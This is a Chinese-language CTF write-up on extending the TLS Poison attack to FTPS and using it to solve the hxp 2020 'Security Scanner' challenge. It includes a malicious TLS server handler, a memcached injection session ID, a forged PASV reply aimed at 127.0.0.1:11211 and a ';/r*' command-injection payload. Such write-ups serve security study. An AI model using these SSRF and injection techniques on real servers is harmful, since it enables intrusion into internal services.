最近总结整理了 TLS Poison 攻击相关的知识,本文会继续讲 TLS Poison 利用,以及其在 CTF 的实际运用,也通过这个题目来聊聊 FTPS 相关知识。

文章首发于长亭安全课堂:TLS-Poison 攻击方式在真实CTF赛题中的利用实践 https://mp.weixin.qq.com/s/ZziSf69AOyXoI0IgC0UyUQ

PS: 在阅读本文之前,建议您掌握相关的 TLS Poison 先验知识,本文不会再重新详细介绍 TLS Poison 攻击的基础知识

我们首先再来回顾 Black Hat 这个议题,为什么作者使用的是 When TLS Hacks You 呢?而不是 When HTTPS Hack You ,说明这个问题是出现在 TLS 特性身上,所以目前我们貌似都更多只局限地专注在 HTTPS 上,这是比较狭隘的考虑。既然如此,HTTPS 是 HTTP over TLS ,那其他协议是不是也可以呢?比如 FTPS ,FTP over TLS 等等?那我们来看看 FTPS 可以如何使用。

Introduction of FTPS

FTPS (also known FTP-SSL, and FTP Secure) is an extension to the commonly used File Transfer Protocol (FTP) that adds support for the Transport Layer Security (TLS) and, formerly, the Secure Sockets Layer (SSL, which is now prohibited by RFC7568) cryptographic protocols.

FTPS should not be confused with the SSH File Transfer Protocol (SFTP), a secure file transfer subsystem for the Secure Shell (SSH) protocol with which it is not compatible. It is also different from FTP over SSH, which is the practice of tunneling FTP through an SSH connection.

首先简单介绍一下 FTPS ,FTPS 是一种对常用的文件传输协议(FTP)添加传输层安全(TLS)和安全套接层(SSL)加密协议支持的扩展协议。

在 HTTPS 横空出世之后,SSL 协议也应用到了 FTP 上,随后在 1996 发布了 FTPS 的一个草案 Secure FTP over SSL ,但是直到 2005 年才最终确定终稿 RFC 4217 - Securing FTP with TLS 。然而实际上,FTPS 拥有两种模式,这里并非指的是 FTP 的主动、被动模式,而是显式、隐式模式。

Implicit Mode

在隐式模式下,FTPS 的默认端口在 990 端口上,隐式模式下所有的连接数据均为加密。

客户端必须先使用 TLS Client Hello 消息向 FTPS 服务器进行握手来创建加密连接,如果 FTPS 服务器未收到此类消息,则服务器应断开连接。 为了保持与现有的非 FTPS 感知客户端的兼容性,隐式 FTPS 默认在 IANA 规定的端口 990/TCP 上监听 FTPS 控制通道,并在端口 989/TCP 上监听 FTPS 数据通道。这使得管理员可以保留端口(控制通道 21/TCP 与数据通道 20/TCP )以兼容原始的FTP。

虽然我没有查找到隐式 FTPS 的相关历史,但是我个人觉得他更像在 SSL 时代应运而生的产物,更符合了 FTP over SSL 的意思,也就是一开始使用 TLS/SSL 进行会话创建,再进行数据加密传输。但 RFC 4217 中未定义隐式模式,因此它也被认为是FTP协商TLS/SSL中过时的早期方法。

Explicit Mode

在显式模式(也称为FTPES)下,FTPS 客户端先与服务器创建明文连接,然后从控制通道明确请求服务端升级为加密连接(命令为: AUTH TLS)。控制通道与数据通道默认端口与原始 FTP 一样也是 21 端口。控制通道始终加密,而数据通道是否加密则为可选项。 同时若服务器未限制明文连接,也可以使用未加密的原始 FTP 进行连接,也就是说服务器在相同的端口上同时提供 FTP 与 FTPS 服务。

与FTP协商认证和安全的机制是在 RFC 2228 下增加的,其中包括新的 FTP 命令 AUTH 。虽然该 RFC 没有明确定义任何所需的安全机制,如 SSL 或 TLS ,但它确实要求 FTPS 客户端用一个双方都知道的机制挑战 FTPS 服务器。如果 FTPS 客户端用一个未知的安全机制挑战 FTPS 服务器, FTPS 服务器将以错误代码 504(不支持)响应 AUTH 命令。客户可以通过使用 FEAT 命令查询 FTPS 服务器来确定支持哪些机制,尽管服务器不一定需要诚实地披露它们支持哪些安全级别。调用 FTPS 安全的常见方法包括 AUTH TLS 和 AUTH SSL 。显式方法在 RFC 4217 中定义后,FTPS的合规性要求客户端始终使用 AUTH TLS 方法进行协商。

我们可以在 RFC 4217 中找到显式 FTPS 建立连接方式:

              Client                                 Server
     control          data                   data               control
   ====================================================================

                                                                socket()
                                                                bind()
     socket()
     connect()  ----------------------------------------------> accept()
               <----------------------------------------------  220
     AUTH TLS   ---------------------------------------------->
               <----------------------------------------------  234
     TLSneg()  <----------------------------------------------> TLSneg()
     PBSZ 0     ---------------------------------------------->
               <----------------------------------------------  200
     PROT P     ---------------------------------------------->
               <----------------------------------------------  200
     USER fred  ---------------------------------------------->
               <----------------------------------------------  331
     PASS pass  ---------------------------------------------->
               <----------------------------------------------  230

   Note 1: The order of the PBSZ/PROT pair and the USER/PASS pair (with
   respect to each other) is not important (i.e., the USER/PASS can
   happen prior to the PBSZ/PROT, or the server can refuse to allow a
   PBSZ/PROT pair until the USER/PASS pair has happened).

   Note 2: The PASS command might not be required at all (if the USER
   parameter and any client identity presented provide sufficient
   authentication).  The server would indicate this by issuing a '232'
   reply to the USER command instead of the '331', which requests a PASS
   from the client (see below).

   Note 3: The AUTH command might not be the first command after the
   receipt of the 220 welcome message.

数据传输阶段:

12.6.  A Standard Data Transfer with Protection

              Client                                 Server
     control          data                   data               control
   ====================================================================

                      socket()
                      bind()
     PORT w,x,y,z,a,b -------------------------------------------->
         <-------------------------------------------------------- 200
     STOR file --------------------------------------------------->
                                             socket()
                                             bind()
         <-------------------------------------------------------- 150
                      accept()  <----------  connect()
                      TLSneg()  <----------> TLSneg()
                      TLSwrite() ----------> TLSread()
                      TLSshutdown() -------> TLSshutdown()
                      close()    ----------> close()
         <-------------------------------------------------------- 226

12.7.  A Firewall-Friendly Data Transfer with Protection

              Client                                 Server
     control          data                   data               control
   ====================================================================

     PASV -------------------------------------------------------->
                                             socket()
                                             bind()
         <------------------------------------------ 227 (w,x,y,z,a,b)
                      socket()
     STOR file --------------------------------------------------->
                      connect()  ----------> accept()
         <-------------------------------------------------------- 150
                      TLSneg()   <---------> TLSneg()
                      TLSwrite()  ---------> TLSread()
                      TLSshutdown() -------> TLSshutdown()
                      close()     ---------> close()
         <-------------------------------------------------------- 226

TLS Poison In FTPS

看到如上解释,想必大家可能也会有思考,那么是不是 FTPS 也会有 TLS 会话重用的特性呢?那么是不是也可以跟 TLS Poison 相关联起来呢?

Explicit

首先我们来先看看拥有 RFC 4217 规范的显示 FTPS ,我们可以借用 pyftpdlib 来做一个简单的 FTPS Server

"""
An RFC-4217 asynchronous FTPS server supporting both SSL and TLS.
Requires PyOpenSSL module (http://pypi.python.org/pypi/pyOpenSSL).
"""

from pyftpdlib.servers import FTPServer
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import TLS_FTPHandler


def main():
    authorizer = DummyAuthorizer()
    # authorizer.add_user('ftpuser', 'ftpuser123', '.', perm='elradfmwMT')
    authorizer.add_anonymous('.')
    handler = TLS_FTPHandler
    handler.certfile = 'keycert.pem'
    handler.authorizer = authorizer
    # requires SSL for both control and data channel
    handler.tls_control_required = True
    handler.tls_data_required = True
    server = FTPServer(('', 11211), handler)
    server.serve_forever()

if __name__ == '__main__':
    main()

对于客户端我们可以使用 curl 来发起一个显式 FTPS 请求:

curl --ftp-ssl --user name:passwd ftp://ftp.host.com/

如果需要用户验证就加上--user选项即可,不需要的话就不用,结果如图所示:

我们可以清楚的看到在显式 FTPS 在使用AUTH SSL命令之后才与服务器建立的 TLS 连接,并在LIST之后我们可以看到重新使用了 TLS Session 。

这里我们简单回顾一下,在利用 HTTPS 进行 TLS Poison 时,我们需要再次使用 HTTP 重定向让客户端重新与我们建立会话,但是仔细观察 FTPS ,我们并没有使用类似 HTTPS 重定向的功能让其再次与 FTPS 服务器建立连接,那为什么我们只是简单访问一次 FTPS 服务器就会产生会话重用的现象呢?

让我们看之前发生了什么,客户端使用了EPSV命令表示使用 FTP 被动模式,FTP 服务器以(||||32949)对该命令进行了回复。

这里我们简单回顾一下 FTP 的被动模式:在被动模式的 FTP 中,客户端启动到服务器的两个连接,解决了防火墙阻止从服务器到客户端的传入数据端口连接的问题。FTP 连接建立后,客户端在本地打开两个随机的非系统端口 N 和 N + 1(N > 1023)。第一个端口连接服务器上的 21 端口,但是客户端这次将会发出 PASV 命令,也就是不允许服务器连接回其数据端口。这样,服务器随后会打开一个随机的非系统端口 P (P > 1023),并将 P 发送给客户端作为 PASV 命令的响应。然后客户端启动从端口 N+1 到端口 P 的连接来传输数据。其中EPSV命令为PASV的更新版本,主要为了兼容 IPv6 而在 RFC 2428 中定义的。

所以在被动模式中,我们可以借由上图清楚的明白,在数据传输阶段,客户端需要与服务端重新建立一次连接!而在显式 FTPS 当中,重新建立连接就可以重新使用 TLS 会话,也就意味着可能被 TLS Poison 攻击!

Implicit

对于隐式模式,因为一开始就需要建立 TLS 会话,所以即使没有 RFC 规定,理论上也很明显应该也同样会支持 TLS 会话重用的机制。

这里我们可以使用 vsftpd 来进行简单实验,安装 vsftpd 后在 /etc/vsftp.conf 中开启implicit_ssl=YES选项

参考配置:

listen=NO
listen_ipv6=YES
anonymous_enable=YES
local_enable=YES
write_enable=YES
local_umask=022

anon_root=/var/ftp/
no_anon_password=YES
hide_ids=YES

dirmessage_enable=YES
use_localtime=YES
xferlog_enable=YES
connect_from_port_20=YES
secure_chroot_dir=/var/run/vsftpd/empty
pam_service_name=vsftpd
pasv_enable=Yes
pasv_min_port=10000
pasv_max_port=11000

rsa_cert_file=/home/ubuntu/tls/fullchain.pem
rsa_private_key_file=/home/ubuntu/tls/privkey.pem

ssl_enable=YES
ssl_ciphers=HIGH

allow_anon_ssl=YES
force_local_data_ssl=YES
force_local_logins_ssl=YES

ssl_tlsv1=YES
ssl_sslv2=NO
ssl_sslv3=NO

listen_port=11211
implicit_ssl=YES

请按照其他教程申请对应域名证书、配置好匿名 ssl 访问 vsftpd ,否则很容易导致 vsftpd 报错,并且检查好 vsftpd 状态是否成功运行。

配置好 vsftpd 后使用 curl 进行访问:

curl ftps://exmaple.com -v

这里我另外增加了--tls-max 1.2选项,因为在 TLS 1.3 当中, Session ID 传输在加密过程中,不便观察,而 TLS 1.2 可以在 Server Hello 消息中看到 TLS Server 设置的 Session ID,所以这里我们使用--tls-max 1.2迫使 curl 最大使用 TLS 1.2 版本。

我们就可以观察到如下图所示现象:

可以看到也是在使用PASV命令之后,也就是数据传输阶段时,重新使用了 Session ID 进行建立 TLS 会话。

PASV

既然确定了可以重用 TLS 会话,那么接下来的一个问题就是 DNS Rebinding 的问题,也是 TLS Poison 攻击中的关键问题。

但是众所周知,特别是在过去的一年当中,FTP 在 CTF 中的利用出现得也算比较多的了,利用主动、被动模式进行 SSRF 也不并不是新鲜的 Trick 了,所以在这里我们还可以 FTPS 服务端向客户端默认发送的PASV命令给予恶意回复为227 Entering Passive Mode (127,0,0,1,43,203),就可以得到一个简单的 “DNS Rebinding” 效果了。

但是众所周知,这种小 Trick 应该被视为一种漏洞,因为在设计之初,本来就应该将 FTP 客户端、服务端进行绑定,也就是说,无论 FTP 使用被动还是主动模式,都应该是服务端与客户端之间进行建立控制流与数据流,并不应该与第三者进行,况且如果攻击者恶意将数据流定向到内网端口就极易产生 SSRF 。

所以,Firefox 早在 2007 年就修复了 FTP 带来的这个问题,并分配了 CVE 编号:CVE-2007-1562 ,而 curl 迟迟在 2020 年才被发现这类问题并修复,也分配了 CVE 编号:CVE-2020-8284。curl 版本在 4.0 与 7.73.0 之间都会受到该种漏洞的影响,详见:trusting FTP PASV responses

所以对于 FTPS 来说,只要存在PASV这个漏洞,就可以非常方便地使用 TLS Poison 进行攻击。具体步骤为:

  1. curl 访问 ftps 服务器,并与其建立 tls 握手
  2. ftps 服务器在建立 tls 连接时设置恶意 session id
  3. ftps 对于 curl 发出的pasv命令返回(127,0,0,1,43,203),并等待接下来的LIST等命令
  4. 之后 curl 才会与 127.0.0.1:11211 尝试重用 session id 建立 TLS 会话

好了,熟悉了 TLS Poison 攻击以及确定 FTPS 两个形式都可能受到 TLS Poison 攻击,那接下来我们就来亲自体验一下在 CTF 当中的应用吧。

HXP CTF - Security Scanner

这是来自 2020 年 hxp CTF 当中的一道 web 方向题目,到 hxp 比赛结束只有两解,算是一道比较难的题目。这个题目其实我很早就做复盘的一个题,利用了今年 DEF CON 等 web 的时间把这个题做了一次简单的复盘。

Description

​ Finally, after all these years computers are stealing my job.

Try our new robotic security scanner.

Author: 0xbb

主要题目源码:

<?php

session_start();
if (!isset($_SESSION['sandbox'])) {
    $id = '';
    while(strlen($id) < 10) {
        $b = random_bytes(1);
        if(ord($b) > 32 && ord($b) != 0x7f) {
            $id .= $b;
        }
    }
    $_SESSION['sandbox'] = $id;
}

echo '<h1>Sandbox</h1>';
echo '<code>'.base64_encode($_SESSION['sandbox']).'</code>';  

$m = new Memcached();
$m->addServer('127.0.0.1', 11211);

$url = strval($_GET['url']);
if ($m->get($_SESSION['sandbox'].$url) !== 'OK') {
    if(preg_match('/^[0-9a-zA-Z:\.\/-]{1,64}$/', $url) !== 1) {
        die('security :(');
    }

    $git_check = "001e# service=git-upload-pack\n";
    $data = file_get_contents($url .'/info/refs?service=git-upload-pack');
    if ($data  === FALSE || substr($data, 0, strlen($git_check)) !== $git_check) {
        die("doesn't look like git :(");
    }

    $m->set($_SESSION['sandbox'].$url, 'OK', time() + 300);
}

$output = [];
$return_var = 1;
exec("timeout -s KILL 3 git ls-remote --tags -- $url", $output, $return_var);
if($return_var !== 0) {
    die('analysis failed :(');
}

echo '<h1>Analysis</h1>';
echo "URL: ${url}";
echo '<h2>Tags</h2>';
echo '<ul>';

foreach($output as $l) {
    echo "<li><code>${l}</code></li>";
}
echo '</ul>';

echo '<h2>Result</h2>';

if(TRUE) { // patented algorithm (tm)
    echo 'Likely insecure :('; 
}

Analyze

审计代码,我们可以总结出代码执行的主要流程如下:

  • 生成随机字符串做 SANDBOX
  • 用户输入 url 后,从 Memecached 中获取键值为 SANDBOX + url 的 Value 值,判断是否为 “OK”
    • 如果不是,通过^[0-9a-zA-Z:\.\/-]{1,64}$正则后,通过file_get_contents访问$url .'/info/refs?service=git-upload-pack',检查结果是否以001e# service=git-upload-pack\n开头
      • 如果不是以001e# service=git-upload-pack\n开头,则结束程序
      • 如果是,则会在 Memecached 中将键值为 SANDBOX + url 的 Value 值设置为 “OK”,时间为 5min
    • 如果是 “OK” ,则会使用exec执行命令timeout -s KILL 3 git ls-remote --tags -- $url,如果访问成功则输出响应

整个代码流程如下图所示:

Solution 1

From: https://github.com/dfyz/ctf-writeups/tree/master/hxp-2020/security%20scanner

我们先来看看第一种解法,这也是 perfect guesser 他们使用的类似解法,通过 HTTPS 来进行解题。

题目唯一一处可以让我们直接执行命令的地方就是exec处了,所以如果没有其他校验验证的话,我们可以直接使用命令注入进行 RCE ,例如传入url=;/readflag,这样题目执行顺序如下流程图所示:

这样题目在执行我们的命令时,就也会把回显显示给我们了,也就拿到 FLAG 了。

既然最后一步我们知道了,我们就得想办法如果绕过前面的验证步骤。主要验证也就是如下两个步骤:

  • 正则表达式:^[0-9a-zA-Z:\.\/-]{1,64}。表达式比较严格,看起来并没有什么可以让我们进行命令注入的机会。
  • 即使绕过了正则,但是file_get_contents并不会认为;/readflag是合法协议,也不能接着去执行。

所以问题就来到了如何将我们的 payload 写入 memcached 当中以及我们如何绕过前面两个正则。

既然是要写入 memcached 我们不难想到 2020 年 black hat 上的议题 When TLS Hack You ,其中作者使用的 demo 就是通过 TLS 配合 DNS Rebinding 来对 memcached 发起 SSRF 攻击,所以如何将我们的 payload 写入到 memcached 当中基本有了个大致的思路,问题是如何实现利用这个思路呢?

我们再来看看如果真是使用 TLS Poison 攻击的话,使用 HTTPS 是不是就可以满足以上两个限制的条件了呢?确实如此,https://并没有使用其他禁止的字符,并且我们可以通过 HTTPS 让题目的file_get_contents得到任意内容,包括满足他所需要的001e# service=git-upload-pack\n这个条件。

所以似乎看起来 TLS Poison 正是这个题目的关键!如果是这样的话,接下来我们就需要确定,我们应该使用 file_get_contents还是 git 来进行操作呢?也就是说哪一个支持 TLS 会话重用这个特性呢?我们知道file_get_contents并没有依赖 libcurl ,我们如果直接查看 PHP 源代码有点麻烦,不如直接通过让其访问我们 TLS Poison Demo 来测试,如果能有支持 TLS 会话重用,在 302 时,也就是第二次访问我们 TLS Server 即会带上 Session ID ,这个我们可以直接用wireshark 本地抓包即可看到了。但是经过测试其实我们可以看到file_get_contents并没有在第二次 TLS 会话时重用 Session ID,如图所示:

所以接下来我们就只能寄希望于 git 了,那么 git 是否支持 TLS 重用会话?怎么确定 git 是否支持 TLS 会话重用呢?我们能不能确定 git 使用的是什么网络请求资源依赖库呢?比如 libcurl ?如果是 libcurl ,我们就好办了,因为明确知道 libcurl 对于 HTTPS 的支持是可以支持会话重用的,至少对于 OpenSSL 或者 GnuTLS 来说,都是支持此项特性的。

那么到底如何确定呢?这有点类似于找一个站点使用了什么 web 框架,一般来说我们可以尝试通过找站点特征、报错回显等方式来确定,但是 git 发起网络请求的 User-Agent 中只带了它自己的 UA 特征,并没有显示是否使用 libcurl ,在代码中虽然可以找到<curl/curl.h>,但是到底用没用我们似乎不是很好判断;所以我们可以尝试通过报错回显来确定 git 到底用没用 libcurl (idea from @zsx ),如何引起这个报错呢?不难想到我们可以尝试用一个 libcurl 不支持的协议来确定,比如 gopher 协议。接下来我们可以在自己服务器上放一个 php 让其 Location 跳转到 gopher 协议上,例如:

$ cat 302.php                                                                                                                         
<?php                                                                                                                                                                   
header("Location: gopher://localhost/");

$ git ls-remote --tags -- http://localhost/302.php                                                                                    
fatal: unable to access 'http://localhost/302.php/': Protocol "gopher" not supported or disabled in libcurl 

我们就可以看到明显的 libcurl 错误回显。

既然确定了可以使用 git 来进行 TLS Poison 攻击 Memcached ,那么具体我们应该这么做呢?我们从 getFlag 开始来看看:

  1. 要让exec执行;/readflag,我们要让;/readflag在 Memcached 中的 Value 为 “OK”
  2. 那怎么写入;/readflag呢?我们可以利用 git 来实施 TLS Poison ,向 Memcached 中写入 Key 为;/readflag,Value 为 “OK”
  3. 那怎么实施 TLS Poison 呢?部署 HTTPS Server ,先绕过之前两个限制,在 git 请求 HTTPS Server 的时候实行 TLS Poison

具体流程图如下:

其中我们可以使用双 A 记录的方法来优化 DNS Rebinding 方式,具体关于 TLS Poison 详细解释见:一篇文章带你读懂 TLS Poison 攻击

这里 wp 作者放出的 exp 其实并不可用,在 TLS 握手时会产生错误,所以我又不得不使用其他工具实现这个 exp ,而整个 exp 构造中比较关键的地方在于,如何让file_get_contents正常获取到指定内容后,git 再访问时就需要使用恶意的 TLS Server 。对于这个点,我们可以从请求的 UA 上做区分,判断 UA 中是否有 git 来区分这两者请求来返回对应的响应,所以 rustls 我就不考虑了…这玩意着实难改,于是选用了 tlslite-ng 作为 TLS 服务器,并修改MySimpleHTTPHandler函数中的处理 HTTP 请求的关键代码,如下:

if 'git' in str(self.headers):
  print('This is git! Redirecting it back to memcached and shutting down')
  assert session_id, 'Session id should have been set at this point'
  headers = {
    'Location': f'https://tls.exmaple.com:11211/pwned',
  }
  self.wfile.write(get_http_response(302, headers, ''))
  return
else:
  print('This is PHP! Showing them something that looks like a git repo and stealing sandbox ID')
  b64_sandbox_id = re.search('/(.{14})/', self.path).group(1)
  while len(b64_sandbox_id) % 4 != 0:
    b64_sandbox_id += '='
    sandbox_id = base64.b64decode(b64_sandbox_id)
    assert len(sandbox_id) == 10, f'The sandbox id should have exactly 10 bytes, got: {sandbox_id}'
    session_id = b'\r\nset ' + sandbox_id + b';/r* 0 0 2\r\nOK\r\n'
    assert len(session_id) == 32, f'The session should have exactly 32 bytes, got: {session_id}'
    print(f'Got sandbox id: {sandbox_id}, session_id: {session_id}')

    fake_git = '001e# service=git-upload-pack\n'
    self.wfile.write(get_http_response(200, {}, fake_git))
    return

这里因为题目设置了 sandbox ,占用了 10 字节,而 TLS 1.2 中的 SessionID 局限于 32 字节,所以我们没办法直接使用;/readflag,否则会超出长度,直接使用;/r*也可以执行读取 flag 命令。最后打包整理的 Exp 放在:https://github.com/ZeddYu/TLS-poison/tree/master/Practice1-hxp2020/solution1

在自己的服务器上搭建好 TLS 服务器之后,最后用 exp.py 自动发包就能拿到 flag 了:

Solution 2

当然如果只是简单的复现 TLS Poison 我也不会这么详细的写一篇文章来讲这个题了, CTF 能带给我最大的快乐就是看到一些在自己预期之外的东西,这些东西往往都更有意思,也更 Amazing 。

结合前文,我们这里可以尝试使用 FTPS 来进行解答这个题目。如果使用 FTPS ,那么重定向、DNS Rebinding 的操作我们就可以不需要了,因为可以使用PASV直接将数据通道指向 127.0.0.1:11211 即可。

那么接下来就需要确定 git 中的 libcurl 是否受到PASV漏洞影响了,我们可以从 git 版本、简单搭建一个恶意的 FTP 服务器进行测试,这里就不展开进行测试了。(其实是比较懒)我们这里就直接开始尝试使用 FTPS 进行解题。

按照之前的流程,我们需要确定几个点:

  • 如何绕过之前题目使用file_get_contents对文件内容确认?我们可以直接创建/info/ref文件,内容为题目要求的内容即可
  • 如何绕过正则?我们只需要配置好匿名 ftps 即可,就不需要引入为了用户认证而使用的@符号了,其余的字符就属于正则内的字符了
  • 用隐式还是显式?因为我们使用的格式是ftps://ftps.exmaple.com:11211/这种形式,这只能是隐式 FTPS 的格式,所以使用隐式 FTPS

剩下的便是如何构造 exp 的问题了,怎么去弄一个隐式 FTPS ,难道还要修改个恶意 vsftpd ?那样比较麻烦,这里我们可以使用 rustls 的转发功能,该功能可以帮我们处理了 TLS 创建的问题,并且按照之前的基础,我们也可以把它直接作为恶意 TLS 服务器,这样我们就只需要弄一个 socket 用来处理 FTP 即可。

依旧使用我仓库的 TLS 工具:https://github.com/ZeddYu/TLS-poison/ ,按照 setup 做好初始化后,使用如下命令开启 rustls 的转发功能,将 TLS 上层流量转发到 2048 端口:

TLS-poison/client-hello-poisoning/custom-tls/target/debug/custom-tls -p 11211 --certs /home/ubuntu/tls/fullchain.pem --key /home/ubuntu/tls/privkey.pem forward 2048

然后在 2048 端口我们弄个 socket 监听并读一下 FTP ,然后就是处理 FTP 命令的事情了,这里可以使用 vsftpd 来进行命令响应的参考,最后实现:https://github.com/ZeddYu/TLS-poison/blob/master/Practice1-hxp2020/solution2/curl_exp.py

PS:这里 FTP 服务记得要完整实现对 PASV 之后的命令处理,否则攻击失败。

天知道这个坑了我多久…当时死活都不能复现,问作者 0xbb 也不知道什么情况,又是排 curl 版本,又是排 git 版本,又是排 OpenSSL ,又是排 GnuTLS ,反正各种排 bug ,万念俱灰,最后才找到这个地方…简直

这里我自己编译了一个存在pasv漏洞的 curl 调试,访问我们的 ftps 服务器之后就会对我们 127.0.0.1:11211 进行 TLS 会话重用,就会将我们的 payload 发送到 11211 端口了:

写入之后基本上就没有什么问题了。

整个流程我们整理一下:

  • 首先得访问一次题目拿到 cookie

  • 一开始的file_get_contents我们可以使用 vsftpd 来在匿名 ftp 目录下放置/info/ref文件,文件内容就是 “001e# service=git-upload-pack\n”

  • 题目使用file_get_contents访问之后,我们就可以关闭 vsftpd ,然后开启 rustls 恶意 TLS 服务器,注意提前设置在 redis 当中设置好 payload

  • 题目执行exec,也就是使用 git 来访问我们的 FTPS 服务器时,双方建立 TLS 握手,我们会设置可以执行读取 flag 的 Session ID

  • 建立握手完毕后,执行 FTP 流程

  • 在题目 git 处理 FTP 流程中,我们会给 git 发出的PASV命令请求的响应227 Entering Passive Mode (127,0,0,1,43,203)\r\n

  • git 会根据得到的 127.0.0.1:11211 这个地址尝试进行 TLS 会话重用

  • 至此,完成对 Memcached 的攻击,成功写入\r\nset 1234567890;/r* 0 0 2\r\nOK\r\n,其中那串连续数字我用来表示 sandbox id

  • 带着最开始设置的 cookie 向题目提交 url 地址为;/r*,此时题目向 Memcached 查询 1234567890;/r*的值,得到 url 的值为 OK ,绕过限制

  • 题目执行exec("timeout -s KILL 3 git ls-remote --tags -- $url", $output, $return_var);,其中$url就是我们传入的;/r*,完成命令注入,执行读取 flag 命令拿到 flag

至此,完成这个题目的 FTPS 解法。exp 效果图如下:

Something else

其实这个解法也是后来问的 0xbb 出题人,其实预期解法是利用 FTPS 的解法。但是比赛的时候,队友还找到了一处其他可能的地方想着 SSRF 来着,但是后来不太行,后面跟 Perfect Blue (也就是这次参赛的联合战队 perfect guesser 的联合队之一)的朋友交流了一下确实是用 TLS Poison ,并且他跟 A0E 某个师傅一样也重写了 DNS 相关部分内容2333

如果你觉得做完这个题目还觉得不过瘾,还可以去做一下 Tet CTF 的一个题目。在越南的 TetCTF 2021 当中,有一个单独的分类 Web & Crypto 有这么一道题:HackEmAll-Next-Gen-Proxy ,这道题当中就比较直接:

def _set_cache(_key, _value):
    if str(_key) != "" and str(_value) != "":
        _cache_handle = pylibmc.Client(["127.0.0.1:11211"], binary=False)
        _cache_handle.set(_key, _value, time=60)
        return True

    else:
        return False

def _get_cache(_key):
    _cache_handle= pylibmc.Client(["127.0.0.1:11211"], binary=False)
    return _cache_handle.get(_key)


def parse(_url):
    _cmd = ["curl", "-L", "-k", str(_url)]
    _content = subprocess.check_output(_cmd)
    return _content.encode('hex')

这个就已经有非常明显的提示了,同样是熟悉的 Memcached ,同样是-L选型特地允许 curl 重定向,很标准的一道 TLS Poison 题目,这里就不再多啰嗦了。不过对于这题,以及-L选项,当时有选手想出使用 gopher 来做这个题,本地都能打,但是到了远程就拉垮了,原因是在新版的 curl 中,就像我们一开始验证的一样, gopher 协议已经不再是 libcurl 默认支持的重定向协议了,只有 HTTP/HTTPS 和 FTP 是默认支持重定向,具体见:https://github.com/curl/curl/commit/6080ea098d97393da32c6f66eb95c7144620298c

Conclusion

至此,本篇加上之前的 《一篇文章带你读懂 TLS Poison 攻击》 ,基本上算是把 TLS Poison 的理论、实践、 CTF 应用都讲了一遍,或许以后可能还会弄个 TLS Poison 攻击 SMTP 的靶场(应该不太可能),但是 TLS Poison 需要探索的内容依旧还有很多,比如对于显式 FTPS 的 TLS Poison 利用化工具,如果没有了PASV漏洞,FTPS 还有没有其他方式利用等等问题,都是还有待大家进一步去挖掘的。

这些天都花了很多精力在部分研究上,一方面确实我觉得 TLS Poison 是一个很精彩的攻击方式,尽管它局限性很大,但是这个攻击整体构造利用都相对比较巧妙,也是对在众多对 TLS 密码算法的攻击中令人耳目一新;一方面对于 CTF 题目,尤其是 hxp 这个题目我一直耿耿于怀,况且正好这个也是 TLS Poison 的深层次利用,这也成为了后来我整理 TLS Poison 攻击的动力来源之一,并且我也觉得 FTP 真是个非常有意思的协议,而这题预期用到 FTPS 就必须弄懂 TLS Poison ,所以就不得不去把 TLS Poison 弄一遍。没弄之前还以为是比较难的,因为看到好几个选手都重新弄了 DNS 部分,甚至还需要重写一个 DNS Server ,不过对于恶意 TLS 服务这一块确实需要改写 TLS 服务框架才能做。

还有一方面是,我之前发朋友圈探讨 CTF 相关价值观的问题,以及 CTF 是否是信息安全最佳入门方式,@Anciety 评论说 CTF 可能不是信息安全入门方式,但是他认为是信息安全研究的入门方式。正如他所说,通过这个 CTF 题目,我对 TLS Poison 进行了更深入的探究,也有了更多的理解,这可能就是一道良好的 CTF 题目给安全研究者带来的好处之一吧,同时也带给了我很多快乐,也希望以后能遇到更多类似优秀的题目,能引导、推动我去做更多有意思更深层次的研究。